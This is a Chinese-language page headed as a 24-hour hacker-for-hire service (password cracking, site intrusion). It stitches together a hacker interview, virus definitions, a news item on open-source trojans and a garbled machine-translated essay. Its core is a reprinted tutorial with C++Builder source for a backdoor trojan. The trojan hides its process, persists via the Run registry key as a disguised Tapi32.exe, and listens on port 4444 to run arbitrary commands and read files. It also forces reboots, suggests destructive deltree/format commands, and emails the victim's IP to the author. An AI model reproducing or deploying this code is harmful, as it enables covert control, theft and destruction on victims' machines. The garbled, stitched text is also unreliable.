黑客24小时接单的平台

黑客服务,黑客业务,破解密码,网站入侵,入侵网站

死牛黑客(全球最牛黑客死亡)

本文目录一览:

中国最著名的黑客是谁?

采访我国前最年轻的著名元老级黑客:

记者:请问你在成为黑客以前是做什么的?

Winky Bullet:以前只是个玩游戏的孩子而已

记者:那为什么会选择黑客呢?

Winky Bullet:看了很多电影,觉得里面的那些电脑高手简直太厉害了,可以说是无所不能,所以在听说有学的地方就

去学了。

记者:开始学的简单吗?你学了多久?

Winky Bullet:黑客不是一个苹果,10分钟就可以把它吃掉,它必须是坚持已久的学,很多黑客都是过来人,想必成为

真正的黑客时他们不会忘了自己求学的过程,那是和让人愉快的。

记者:你以前学的时候有没有求过什么人或拜过什么师傅?

Winky Bullet:没有。但是如果有的话我想我会学的更快,现在的黑客学生们动不动就喜欢拜这个为师傅,然后叫他们教

自己一些攻击的手段和方法,我觉得那样很无聊。

记者:那你有没有攻击过什么?

Winky Bullet:有。不过那时可以说是什么都不懂的。觉得自己会点什么了就黑这个站入侵那个网的,现在想想觉得好笑。

记者:你对现在国内的黑客们有什么看法和建议?

Winky Bullet:我觉得现在国内的黑客们应该全部组成一个大家庭,象澳大利亚的就是,他么虽然称不上是黑客的高手国家

但是也不比中国差多少,他们就是全国只有一个黑客组织,别的小的当然有,不过没我们国家这么多而已

记者:你和绿色兵团的成员都认识吗?

Winky Bullet:恩,老成员都认识,自从有了北京的绿盟后就不知道了。

记者:那次8.1卫国反击战、5.1反击战、攻击白宫等诸多大事件你都参加了吗?

Winky Bullet:恩,开始觉得他们是在帮我们检测网络系统,后来越来越看不下去了,居然攻击我国电信了,忍耐也是有限度的嘛~~

记者:你有徒弟吗?或是有谁求过你吗?

Winky Bullet:当然,但是我没收,因为我觉得黑客是自己学出来的,教的话是成不了黑客的,他们只会按部就班的弄那些工具,达不到黑客境界中的创造。

记者:听你讲的那么深,我觉得自己什么都不是了。

Winky Bullet:呵呵,不必要那么说,你是记者,在新闻方面我自然不懂,而在黑客方面你也不懂,各有各的专业嘛

记者:恩,你讲话挺深的,但是回味却很有意思很有见解,你想在复出吗?

Winky Bullet:不想,我觉得我现在的生活挺舒服的。

记者:只有很少的人知道你是国际著名黑客组织死牛崇拜的核心成员兼CEO,但是你有拿自己的技术身份去压国内的黑客们吗?

Winky Bullet:没有,我觉得没必要这么做,我只是比他们懂的多罢了,他们问我的时候我回答一下,帮他们解决一下难题。

记者:你现在在哪?

Winky Bullet:上海

记者:你的目标是哪里?我的意思是说你以后准备在哪定居?

Winky Bullet:呼和浩特,那里我喜欢,人很好,空气很新鲜,街道也干净。

记者:对了,忘了问件事,听说你和你家人有点矛盾,你还改了名字,你现在叫什么?

Winky Bullet:王叶飞

记者:你以前的外号叫什么?我是说在网络里的

Winky Bullet:外号?我不知道,也许别人给我起的,但是我真的不知道

记者:你误会的,我的意思是你的昵称,我知道在黑客界都有自己的名字。

Winky Bullet:哦,这个呀,我叫子弹。

记者:子弹?为什么叫这个名字?

Winky Bullet:因为我觉得黑客是网络计算机最后一道防线,他们追求的是速度和创新,比如有个计算机系统开不了,而

如果开不了的话会有很多大的麻烦等,相信这个部门的负责人一定会去找黑客,那么黑客就只有在有限的

时间内把系统打开,所以如果说黑客在做事时最希望得到的是什么,我觉得应该是时间。

记者:哦,好象也有那么点道理。

Winky Bullet:恩,各个黑客都有各个黑客的看法,我说的只是我的看法。

记者:好了,时间也不早了,最后一个问题,你现在最珍惜的人是谁?

Winky Bullet:可以不回答吗?

记者:我的职业你也知道,很多人都想知道你的私生活,你就回答我这一个。

Winky Bullet:恩,你也有你的难处,我知道。

记者:那可以告诉我吗?

Winky Bullet:Sunny

记者:这是人名字还是什么?

Winky Bullet:是我女朋友。

记者:谢谢,可以把这次的聊天记录和你的资料等公开吗?

Winky Bullet:随你吧

什么是黑客?什么是电脑病毒?是怎么作的?

什么是计算机病毒

计算机病毒是一个程序,一段可执行码。就像生物病毒一样,计算机病毒有独特的复制能力。计算机病毒可以很快地蔓

延,又常常难以根除。它们能把自身附着在各种类型的文件上。当文件被复制或从一个用户传送到另一个用户时,它们就随

同文件一起蔓延开来。

除复制能力外,某些计算机病毒还有其它一些共同特性:一个被污染的程序能够传送病毒载体。当你看到病毒载体似乎

仅仅表现在文字和图象上时,它们可能也已毁坏了文件、再格式化了你的硬盘驱动或引发了其它类型的灾害。若是病毒并不

寄生于一个污染程序,它仍然能通过占据存贮空间给你带来麻烦,并降低你的计算机的全部性能。

可以从不同角度给出计算机病毒的定义。一种定义是通过磁盘、磁带和网络等作为媒介传播扩散,能“传染” 其他程序

的程序。另一种是能够实现自身复制且借助一定的载体存在的具有潜伏性、传染性和破坏性的程序。还有的定义是一种人为

制造的程序,它通过不同的途径潜伏或寄生在存储媒体(如磁盘、内存)或程序里。当某种条件或时机成熟时,它会自生复制

并传播,使计算机的资源受到不同程序的破坏等等。这些说法在某种意义上借用了生物学病毒的概念,计算机病毒同生物病毒

所相似之处是能够侵入计算机系统和网络,危害正常工作的“病原体”。它能够对计算机系统进行各种破坏,同时能够自我复

制, 具有传染性。

所以, 计算机病毒就是能够通过某种途径潜伏在计算机存储介质(或程序)里, 当达到某种条件时即被激活的具有对计

算机资源进行破坏作用的一组程序或指令集合。

参考:

木马是如何编写的(一)

武汉 周侃

特洛依木马这个名词大家应该不陌生,自从98年“死牛崇拜”黑客小组公布Back Orifice以来,木马犹如平地上的惊雷,使在Dos??Windows时代中长大的中国网民从五彩缤纷的网络之梦中惊醒,终于认识到的网络也有它邪恶的一面,一时间人心惶惶。

我那时在《电脑报》上看到一篇文章,大意是一个菜鸟被人用BO控制了,吓得整天吃不下饭、睡不着觉、上不了网,到处求救!呵呵,要知道,木马(Trojan)的历史是很悠久的:早在ATT Unix和BSD Unix十分盛行的年代,木马是由一些玩程式(主要是C)水平很高的年轻人(主要是老美)用C或Shell语言编写的,基本是用来窃取登陆主机的口令,以取得更高的权限。那时木马的主要方法是诱骗??先修改你的.profile文件,植入木马;当你登陆时将你敲入的口令字符存入一个文件,用Email的形式发到攻击者的邮箱里。国内的年轻人大都是在盗版Dos的熏陶下长大的,对网络可以说很陌生。直到Win9x横空出世,尤其是WinNt的普及,大大推动了网络事业的发展的时候,BO这个用三年后的眼光看起来有点简单甚至可以说是简陋的木马(甚至在Win9x的“关闭程序”对话框可以看到进程)给了当时中国人极大的震撼,它在中国的网络安全方面可以说是一个划时代的软件。

自己编写木马,听起来很Cool是不是?!木马一定是由两部分组成??服务器程序(Server)和客户端程序(Client),服务器负责打开攻击的道路,就像一个内奸特务;客户端负责攻击目标,两者需要一定的网络协议来进行通讯(一般是TCP/IP协议)。为了让大家更好的了解木马攻击技术,破除木马的神秘感,我就来粗略讲一讲编写木马的技术并顺便编写一个例子木马,使大家能更好地防范和查杀各种已知和未知的木马。

首先是编程工具的选择。目前流行的开发工具有C++Builder、VC、VB和Delphi,这里我们选用C++Builder(以下简称BCB);VC虽然好,但GUI设计太复杂,为了更好地突出我的例子,集中注意力在木马的基本原理上,我们选用可视化的BCB;Delphi也不错,但缺陷是不能继承已有的资源(如“死牛崇拜”黑客小组公布的BO2000源代码,是VC编写的,网上俯拾皆是);VB嘛,谈都不谈??难道你还给受害者传一个1兆多的动态链接库??Msvbvm60.dll吗?

启动C++Builder 5.0企业版,新建一个工程,添加三个VCL控件:一个是Internet页中的Server Socket,另两个是Fastnet页中的NMFTP和NMSMTP。Server Socket的功能是用来使本程序变成一个服务器程序,可以对外服务(对攻击者敞开大门)。Socket最初是在Unix上出现的,后来微软将它引入了Windows中(包括Win98和WinNt);后两个控件的作用是用来使程序具有FTP(File Transfer Protocol文件传输协议)和SMTP(Simple Mail Transfer Protocol简单邮件传输协议)功能,大家一看都知道是使软件具有上传下载功能和发邮件功能的控件。

Form窗体是可视的,这当然是不可思议的。不光占去了大量的空间(光一个Form就有300K之大),而且使软件可见,根本没什么作用。因此实际写木马时可以用一些技巧使程序不包含Form,就像Delphi用过程实现的小程序一般只有17K左右那样。

我们首先应该让我们的程序能够隐身。双击Form,首先在FormCreate事件中添加可使木马在Win9x的“关闭程序”对话框中隐藏的代码。这看起来很神秘,其实说穿了不过是一种被称之为Service的后台进程,它可以运行在较高的优先级下,可以说是非常靠近系统核心的设备驱动程序中的那一种。因此,只要将我们的程序在进程数据库中用RegisterServiceProcess()函数注册成服务进程(Service Process)就可以了。不过该函数的声明在Borland预先打包的头文件中没有,那么我们只好自己来声明这个位于KERNEL32.DLL中的鸟函数了。

首先判断目标机的操作系统是Win9x还是WinNt:

{

DWORD dwVersion = GetVersion();

// 得到操作系统的版本号

if (dwVersion = 0x80000000)

// 操作系统是Win9x,不是WinNt

{

typedef DWORD (CALLBACK* LPREGISTERSERVICEPROCESS)(DWORD,DWORD);

file://定义RegisterServiceProcess()函数的原型

HINSTANCE hDLL;

LPREGISTERSERVICEPROCESS lpRegisterServiceProcess;

hDLL = LoadLibrary("KERNEL32");

file://加载RegisterServiceProcess()函数所在的动态链接库KERNEL32.DLL

lpRegisterServiceProcess = (LPREGISTERSERVICEPROCESS)GetProcAddress(hDLL,"RegisterServiceProcess");

file://得到RegisterServiceProcess()函数的地址

lpRegisterServiceProcess(GetCurrentProcessId(),1);

file://执行RegisterServiceProcess()函数,隐藏本进程

FreeLibrary(hDLL);

file://卸载动态链接库

}

}

这样就终于可以隐身了(害我敲了这么多代码!)。为什么要判断操作系统呢?因为WinNt中的进程管理器可以对当前进程一览无余,因此没必要在WinNt下也使用以上代码(不过你可以使用其他的方法,这个留到后面再讲)。接着再将自己拷贝一份到%System%目录下,例如:C:\Windows\System,并修改注册表,以便启动时自动加载:

{

char TempPath[MAX_PATH];

file://定义一个变量

GetSystemDirectory(TempPath ,MAX_PATH);

是system目录缓冲区的地址,MAX_PATH是缓冲区的大小,得到目标机的System目录路径

SystemPath=AnsiString(TempPath);

file://格式化TempPath字符串,使之成为能供编译器使用的样式

CopyFile(ParamStr(0).c_str(), AnsiString(SystemPath+"\\Tapi32.exe").c_str() ,FALSE);

file://将自己拷贝到%System%目录下,并改名为Tapi32.exe,伪装起来

Registry=new TRegistry;

file://定义一个TRegistry对象,准备修改注册表,这一步必不可少

Registry-RootKey=HKEY_LOCAL_MACHINE;

file://设置主键为HKEY_LOCAL_MACHINE

Registry-OpenKey("Software\\Microsoft\\Windows\\CurrentVersion\\Run",TRUE);

file://打开键值Software\\Microsoft\\Windows\\CurrentVersion\\Run,如果不存在,就创建之

try

{

file://如果以下语句发生异常,跳至catch,以避免程序崩溃

if(Registry-ReadString("crossbow")!=SystemPath+"\\Tapi32.exe")

Registry-WriteString("crossbow",SystemPath+"\\Tapi32.exe");

file://查找是否有“crossbow”字样的键值,并且是否为拷贝的目录%System%+Tapi32.exe

file://如果不是,就写入以上键值和内容

}

catch(...)

{

file://如果有错误,什么也不做

}

}

好,FormCreate过程完成了,这样每次启动都可以自动加载Tapi32.exe,并且在“关闭程序”对话框中看不见本进程了,木马的雏形初现。

接着选中ServerSocket控件,在左边的Object Inspector中将Active改为true,这样程序一启动就打开特定端口,处于服务器工作状态。再将Port填入4444,这是木马的端口号,当然你也可以用别的。但是你要注意不要用1024以下的低端端口,因为这样不但可能会与基本网络协议使用的端口相冲突,而且很容易被发觉,因此尽量使用1024以上的高端端口(不过也有这样一种技术,它故意使用特定端口,因为如果引起冲突,Windows也不会报错 ^_^)。你可以看一看TNMFTP控件使用的端口,是21号端口,这是FTP协议的专用控制端口(FTP Control Port);同理TNMSMTP的25号端口也是SMTP协议的专用端口。

再选中ServerSocket控件,点击Events页,双击OnClientRead事件,敲入以下代码:

{

FILE *fp=NULL;

char * content;

int times_of_try;

char TempFile[MAX_PATH];

file://定义了一堆待会儿要用到的变量

sprintf(TempFile, "%s", AnsiString(SystemPath+AnsiString("\\Win369.BAT")).c_str());

file://在%System%下建立一个文本文件Win369.bat,作为临时文件使用

AnsiString temp=Socket-ReceiveText();

file://接收客户端(攻击者,也就是你自己)传来的数据

}

好,大门敞开了!接着就是修改目标机的各种配置了!^_^ 首先我们来修改Autoexec.bat和Config.sys吧:

{

if(temp.SubString(0,9)=="edit conf")

file://如果接受到的字符串的前9个字符是“edit conf”

{

int number=temp.Length();

file://得到字符串的长度

int file_name=atoi((temp.SubString(11,1)).c_str());

file://将第11个字符转换成integer型,存入file_name变量

file://为什么要取第11个字符,因为第10个字符是空格字符

content=(temp.SubString(12,number-11)+'\n').c_str();

file://余下的字符串将被作为写入的内容写入目标文件

FILE *fp=NULL;

char filename[20];

chmod("c:\\autoexec.bat",S_IREADS_IWRITE);

chmod("c:\\config.sys",S_IREADS_IWRITE);

file://将两个目标文件的属性改为可读可写

if(file_name==1)

sprintf(filename,"%s","c:\\autoexec.bat");

file://如果第11个字符是1,就把Autoexec.bat格式化

else if(file_name==2)

sprintf(filename,"%s","c:\\config.sys");

file://如果第11个字符是1,就把Config.sys格式化

times_of_try=0;

file://定义计数器

while(fp==NULL)

{

file://如果指针是空

fp=fopen(filename,"a+");

file://如果文件不存在,创建之;如果存在,准备在其后添加

file://如果出错,文件指针为空,这样就会重复

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://跳至END处

}

}

fwrite(content,sizeof(char),strlen(content),fp);

file://写入添加的语句,例如deltree/y C:或者format/q/autotest C:,够毒吧?!

fclose(fp);

file://写完后关闭目标文件

Socket-SendText("Sucess");

file://然后发回“Success”的成功信息

}

}

上回我们讲到如何修改目标机上的启动配置文件,这回我们就来查看目标机上的目录树和文件吧,这在客户端上使用“dir”命令,跟着敲?:

{

else if(temp.SubString(0,3)=="dir")

{

file://如果前3个字符是“dir”

int Read_Num;

char * CR_LF="\n";

int attrib;

char *filename;

DIR *dir;

struct dirent *ent;

int number=temp.Length();

file://得到字符串的长度

AnsiString Dir_Name=temp.SubString(5,number-3);

file://从字符串第六个字符开始,将后面的字符存入Dir_Name变量,这是目录名

if(Dir_Name=="")

{

file://如果目录名为空

Socket-SendText("Fail By Open DIR's Name");

file://返回“Fail By Open DIR's Name”信息

goto END;

file://跳到END

}

char * dirname;

dirname=Dir_Name.c_str();

if ((dir = opendir(dirname)) == NULL)

{

file://如果打开目录出错

Socket-SendText("Fail by your DIR's name!");

file://返回“Fail By Your DIR's Name”信息

goto END;

file://跳到END

}

times_of_try=0;

while(fp==NULL)

{

file://如果指针是NULL

fp=fopen(TempFile,"w+");

file://就创建system\Win369.bat准备读和写;如果此文件已存在,则会被覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功(真有耐心!)

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

while ((ent = readdir(dir)) != NULL)

{

file://如果访问目标目录成功

if(*(AnsiString(dirname)).AnsiLastChar()!='\\')

file://如果最后一个字符不是“\”,证明不是根目录

filename=(AnsiString(dirname)+"\\"+ent-d_name).c_str();

file://加上“\”字符后将指针指向目录流

else

filename=(AnsiString(dirname)+ent-d_name).c_str();

file://如果是根目录,则不用加“\”

attrib=_rtl_chmod(filename, 0);

file://得到目标文件的访问属性

if (attrib FA_RDONLY)

file://“”字符是比较前后两个变量,如果相同返回1,否则返回0

fwrite(" R",sizeof(char),3,fp);

file://将目标文件属性设为只读

else

fwrite(" ",sizeof(char),3,fp);

file://失败则写入空格

if (attrib FA_HIDDEN)

fwrite("H",sizeof(char),1,fp);

file://将目标文件属性设为隐藏

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_SYSTEM)

fwrite("S",sizeof(char),1,fp);

file://将目标文件属性设为系统

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_ARCH)

fwrite("A",sizeof(char),1,fp);

file://将目标文件属性设为普通

else

fwrite(" ",sizeof(char),1,fp);

file://失败则写入空格

if (attrib FA_DIREC)

fwrite(" DIR ",sizeof(char),9,fp);

file://将目标文件属性设为目录

else

fwrite(" ",sizeof(char),9,fp);

file://失败则写入空格

fwrite(ent-d_name,sizeof(char),strlen(ent-d_name),fp);

file://将目录名写入目标文件

fwrite(CR_LF,1,1,fp);

file://写入换行

}

fclose(fp);

file://关闭文件

closedir(dir);

file://关闭目录

FILE *fp1=NULL;

times_of_try=0;

while(fp1==NULL)

{

fp1=fopen(TempFile,"r");

file://打开Win369.bat准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已经试了100次了,仍未成功

Socket-SendText("Fail By Open File");

file://就发回“Fail By Open File”的错误信息

goto END;

file://并跳到END处

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义的一个空数组

Read_Num=fread(temp_content,1,300,fp1);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp1);

file://重复

};

Return_Text=Return_Text+temp_content;

变量加上刚才的300个字符

fclose(fp1);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text变量的内容

}

}

够长吧?!察看目录树这么费劲啊?!你后面可以用BCB中的各种列表框对Client.exe好好美化美化。接下来就是查看指定文件的内容了,Client将使用“type”命令,(手指累不累啊?):

{

else if(temp.SubString(0,4)=="type")

{

file://如果前4个字符是“type”

int Read_Num;

int number=temp.Length();

AnsiString File_Name=temp.SubString(6,number-4);

file://将目标文件流存入File_Name变量中

times_of_try=0;

while(fp==NULL)

{

fp=fopen(File_Name.c_str(),"r");

file://打开目标文件准备读

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

file://如果已试了100次了

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的错误信息

goto END;

file://跳到END

}

}

AnsiString Return_Text="";

char temp_content[300];

for(int i=0;i300;i++) temp_content[i]='\0';

file://定义一个空数组

Read_Num=fread(temp_content,1,300,fp);

file://从目标文件中读入前300个字符

while(Read_Num==300)

{

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

for(int i=0;i300;i++) temp_content[i]='\0';

Read_Num=fread(temp_content,1,300,fp);

file://重复

};

Return_Text=Return_Text+temp_content;

的内容加上刚才的字符

fclose(fp);

file://关闭目标文件

Socket-SendText(Return_Text);

file://返回Return_Text的内容,即你查看文件的内容

}

}

咳咳!累死了!还是来点轻松的吧??操纵目标机的光驱(注意:mciSendString()函数的声明在mmsystem.h头文件中):

{

else if(temp=="open")

{

file://如果收到的temp的内容是“open”

mciSendString("set cdaudio door open", NULL, 0, NULL);

file://就弹出光驱的托盘

}

else if(temp=="close")

{

file://如果收到的temp的内容是“close”

mciSendString("Set cdaudio door closed wait", NULL, 0, NULL);

file://就收入光驱的托盘。当然你也可以搞个死循环,让他的光驱好好活动活动!^_^

}

}

接着就是交换目标机的鼠标左右键,代码如下:

{

else if(temp=="swap")

{

SwapMouseButton(1);

file://交换鼠标左右键,简单吧?

}

}

然后就是使目标机重新启动。但这里要区分WinNt和Win9x??NT非常注重系统每个进程的权利,一个普通的进程是不应具备有调用系统的权利的,因此我们要赋予本程序足够的权限:

{

else if(temp=="reboot")

{

file://如果收到的temp的内容是“temp”

DWORD dwVersion = GetVersion();

file://得到操作系统的版本号

if (dwVersion 0x80000000)

{

file://操作系统是WinNt,不是Win9x

HANDLE hToken;

TOKEN_PRIVILEGES tkp;

file://定义变量

OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES TOKEN_QUERY, hToken);

这个函数的作用是打开一个进程的访问令牌

函数的作用是得到本进程的句柄

LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,tkp.Privileges[0].Luid);

的作用是修改进程的权限

tkp.PrivilegeCount = 1;

file://赋给本进程特权

tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;

AdjustTokenPrivileges(hToken, FALSE, tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);

的作用是通知Windows NT修改本进程的权利

ExitWindowsEx(EWX_REBOOT EWX_FORCE, 0);

file://强行退出WinNt并重启

}

else ExitWindowsEx(EWX_FORCE+EWX_REBOOT,0);

file://强行退出Win9x并重启

}

}

如果以上都不是,就让它在Dos窗口中执行传来的命令:

{

else

{

file://如果都不是

char * CR_TF="\n";

times_of_try=0;

while(fp==NULL)

{

fp=fopen(TempFile,"w+");

file://创建Win369.bat,如果已存在就覆盖

times_of_try=times_of_try+1;

file://计数器加1

if(times_of_try100)

{

Socket-SendText("Fail By Open File");

file://返回“Fail By Open File”的信息

goto END;

file://跳到END

}

}

fwrite(temp.c_str(),sizeof(char),strlen(temp.c_str()),fp);

file://写入欲执行的命令

fwrite(CR_TF,sizeof(char),strlen(CR_TF),fp);

file://写入换行符

fclose(fp);

file://关闭Win369.bat

system(TempFile);

file://执行Win369.bat

Socket-SendText("Success");

file://返回“Success”信息

}

}

你可以直接执行什么Ping和Tracert之类的命令来进一步刺探目标机的网络状况(判断是否是一个企业的局域网),然后可以进一步攻击,比如Deltree和Format命令。^_^

到此,服务器程序的功能已全部完成,但还差容错部分未完成,这样才能避免程序因意外而崩溃。朋友,别走开!(未完待续)

木马是如何编写的(三)

武汉 周侃

上次已编写完服务器端的各种功能,但还差容错部分还未完成,下面我们Go on! 其代码如下(照敲不误 ^_^):

{

END:;

Socket-Close();

file://关闭服务

ServerSocket1-Active =true;

file://再次打开服务

if (NMSMTP1-Connected) NMSMTP1-Disconnect();

file://如果SMTP服务器已连接则断开

NMSMTP1-Host = "smtp.163.net";

file://选一个好用的SMTP服务器,如163、263、sina和btamail

NMSMTP1-UserID = "";

file://你SMTP的ID

try

{

NMSMTP1-Connect();

file://再次连接

}

catch(...)

{

goto NextTime;

file://跳到NextTime

}

NMSMTP1-PostMessage-FromAddress ="I don't know!";

file://受害者的Email地址

NMSMTP1-PostMessage-FromName = "Casualty";

file://受害者的名字

NMSMTP1-PostMessage-ToAddress-Text = "crossbow@8848.net";

file://将信发到我的邮箱,这一步很关键

NMSMTP1-PostMessage-Body-Text = AnsiString("Server Running on:") + NMSMTP1-LocalIP ;

file://信的内容提示你“服务器正在运行”,并且告诉你受害者的目前的IP地址,以便连接

NMSMTP1-PostMessage-Subject = "Server Runn

为什么恶意软件开发者转向开放源代码

骗子们通过软件窃取银行信息

为了让他们的恶意软件对骗子来说更有价值,恶意软件开发者正在努力转向开源模式。

除了窃取金融和个人资料,恶意软开发者希望通过免费提供程序代码,扩大既有木马程序的使用范围。

根据来自赛门铁克安全实验室的研究员坎迪特·维斯特的说法,在现在的木马市场中,百分之十的工具是开源的。

迁移到开放源代码的商业模式将让犯罪分子可以为他们的恶意软件增加额外的功能。

“这种模式的优点是会有更多的人参与开发,因此,某个精通密码学的人可以编写一个加密插件,熟悉关注视频的人可能编写桌面控制远程流媒体的工具。”维斯特说。

开放源代码形式木马的历史可以追溯到1999年,当时死牛教派黑客集团发布了Back Orifice木马的源代码。

最近,Limbo木马的开发者也公布了其源代码,以提升骗子们的使用频率,扭转占有率下降的颓势。

根据来自安全厂商RSA的调查结果显示,在2007年问世后,Limbo木马迅速成为全球范围内使用最广泛的木马,但很快在2008年就被更先进的Zeus木马所取代。

主宰木马市场的是巨额的利润,被感染的计算机和窃取的金融及个人信息,在黑市上价值数百万美元。在开放源代码之前,Limbo木马工具包的通常价格为每套350美元,而Zeus木马的市价目前仍在1000到3000美元之间。

不过,RSA新技术部门总监尤里·瑞文表示,转向开源并未扭转Limbo客户减少逐渐被淘汰的命运。

“和其他任何开源项目一样,这一商业模式采取的是免费提供基础版,接下来出售更高端的版本、专业服务或定制化项目的方式。”

“在刚刚宣布开源的时间,这的确是重要新闻,但不久以后人们就不想再用它了。

“它已经不是最好的木马了,但因为是开源的,你可以把它当作第一个木马试用,所以它仍然适用于某些地方。”他说。

尽管基础版包含了众多功能,可以让犯罪分子在假银行网站上加入额外的PIN码选项,并记录被感染计算机上的键盘和文件操作,但Limbo的使用者数量还是在持续降低。

开源不仅没有推动Limbo的发展,反而为网络骗子带来了新的问题:开源让安全专家更容易获得恶意软件了。

“如果(木马)开放了源代码,就意味着,安全公司也可以找到这些源代码,并且更容易进行普通的启发式检测,因为他们知道里面包含了什么内容。”来自赛门铁克的维斯特说。

根据RSA瑞文的说法,大部分的计算机感染木马,都是在浏览不安全的网站时被自动下载,或是木马伪装成合法软件的安全更新,再经由社交网站传来的信息,鼓励使用者下载的情况下发生的。

这些感染方法已经证明相比传统的电子邮件链接或附件,能更有效地传播恶意软件。

RSA分析师指出,这些新方法造成木马感染率的大幅增长,该公司侦测到的木马感染事件数量,从2008年8月的613起,猛增到2009年8月的19102起。

谁能把这篇文章给翻译成中文,我一定好给好多分的,谢谢!

电脑黑客二月

Computer hackers in today's world are becoming more intelligent.电脑黑客在今天的世界变得更聪明. They are realizing that people are developing more hack-proof systems.他们认识到开发更多人砍不入系统. This presents the hackers with a bigger challenge, which brings out more fun for them.这给黑客提供更大的挑战,为他们带来更多的乐趣. The government is realizing this and needs to make harsher laws to scare the hackers more.政府是实现这一需求,并做出更为严厉的法律来吓黑客. With the increase in hacking and hacker intelligence, governmental regulation of cyberspace hasn't abolished the fact that it's nearly impossible to bring a hacker to justice.随着黑客、骇客情报政府调控赛博事实并未取消它几乎不可能使黑客绳之以法. Kevin Mitnick, a hacker who has yet to have a harsh punishment when caught, can somehow lower his punishment for his hacking crimes down to a couple months probation.凯文米尼克、黑客者尚未有严惩时被捕,他也有点低下来,以惩罚他的黑客犯罪的几个月试用. When Kevin was seventeen, he was caught for breaking into a phone center in Los Angeles.凯文是17时,他被抓的破门电话中心在洛杉矶. He was tried and sentenced to three months stay in a juvenile detention center and a year probation.他被审判和判刑三个月留在看守所、少年观护一年. Kevin is a very intelligent man.凯文是非常聪明的人. He could use his computer skills in a good way by stopping other hackers.他可以用他的计算机技能的一个好方法阻止其他黑客. He didn't, so he faced the law many times.他没有,所以他所面临的法律很多次. In all those times, he never spent more than a year in prison (Shimomura 1).在所有这些时候,他从不花了一年多的监狱(亚格1). Kevin was also a Phreak; a phone freak.凯文也是phreak;电话怪胎. He studied the phone system.他研究电话系统. He他

soon knew how to make free phone calls from payphones and how to crash a system.一旦知道如何使免费电话系统电话机及如何毁了. Kevin Mitnick has yet to be harshly punished for these crimes, which are very numerous (Shimomura 1).凯文米尼克仍未能对这些犯罪的严厉惩处,这是非常之多(亚格1). Another major player in the hacking industry is an unidentified man, identified by his pseudonym, or nick-name, Deth Vegetable.另一个主要角色是一名不明黑客业,确定自己化名或花名、蔬菜]126. His group of hackers, Cult of the Dead Cow (cDc), is one of the oldest hacker organizations still in effect today.他77黑客、邪教的死牛(议会)是世界上最古老的黑客组织今天仍然有效. He is the leader and founder of (Cult of the Dead Cow).他是创始人和领导人(邪教的死牛). Cult of the Dead Cow is a leading group in the hacking industry; another leader that has fun with what they do.邪教的死牛是在黑客业界领导小组;另一个有趣的领导,同他们做什么. (Vegetable 1).(蔬菜一). They are a notorious group of hackers who have a couple problems; one of which is drugs.他们是臭名昭著的黑客有77对夫妇的问题;其中之一是毒品. At a convention that the cDc holds for "some of the most notorious hackers from around the world" (Vegetable 1), one of the members of cDc said "Drugs and hacking go hand-in-hand" (qtd in Vegetable 3).在议会举行的一项公约"的一些最臭名昭著的黑客来自世界各地的"(蔬菜一)一名成员表示,美国疾病"药品和黑客去手牵手"(QTd的蔬菜3). Deth Vegetable said "Taking Drugs is like hacking your brain" (qtd in Vegetable 3).]126蔬菜说:"吸毒就像你大脑黑客"度(QTd蔬菜3). This is the way hackers are, they have fun in hacking, and the more they hack, the more fun they have.就是这样,黑客,黑客得到乐趣,越砍,他们有更多的乐趣. "If hacking is taking an electro-chemical computing device and altering it for your own enhancement, then taking XTC [, a type of drug,] is doing the same for your"如果黑客是一个电化学计算装置、变造它提升为自己,那么以摇头丸[一类药物,也是这样做的你

brain.脑. At least that's the rationalization" (Vegetable 3). Hacking is just another way to receive a build up of adrenaline in the body. Hackers will receive the thrill and chills of the rebellious act and then have all that adrenaline, making themselves feel really good (4). Hackers also gain many possessions from hacking. One thing that they gain is knowledge. Not just knowledge of how to hack, but knowledge of the systems that they are hacking into and knowledge of different security precautions that people take to try to keep hackers out. There are a vast number of different systems that hackers have to know in order to hack into them. Hackers will read up on the different programs. They will also go to conferences to learn about new techniques, and new ways that one can break into a system with out a lot of work (Sterling 73). A hacker can receive anything he/she wants from hacking into other computers. They can download, or copy to their computer, applications, games, and many different kinds of powerful programs for the computer. They can make credit card numbers. They can also make calling card numbers. If a hacker dials into the telephone companies computers and hacks into them, they can reek havoc至少的合理化"(蔬菜3).黑客又是另一种获得肾上腺素在体内积聚.黑客将获得从轻、畏寒的叛逆行为,然后都认为肾上腺素、才是真的感觉很好(4).黑客也赢得许多遗物从黑客.他们得到的知识是一回事.不只是知识如何砍,但是,他们的知识体系和知识黑客入不同的人采取安全防范措施,以确保黑客.还有大批不同系统,黑客已经知道要砍入.黑客会读出不同的节目.他们还将赴会议,了解新技术、新途径之一,可以制出一个闯进了大量工作(英镑73).黑客可以得到任何他/她想要从黑客到其他电脑.他们可以下载,或者复制到自己的电脑,应用,游戏节目和多种强大的电脑.他们可以作的信用卡号码.同时也可以电话卡号码.如果骇客进入电话拨号进入公司电脑和棍,他们能赶来肆虐

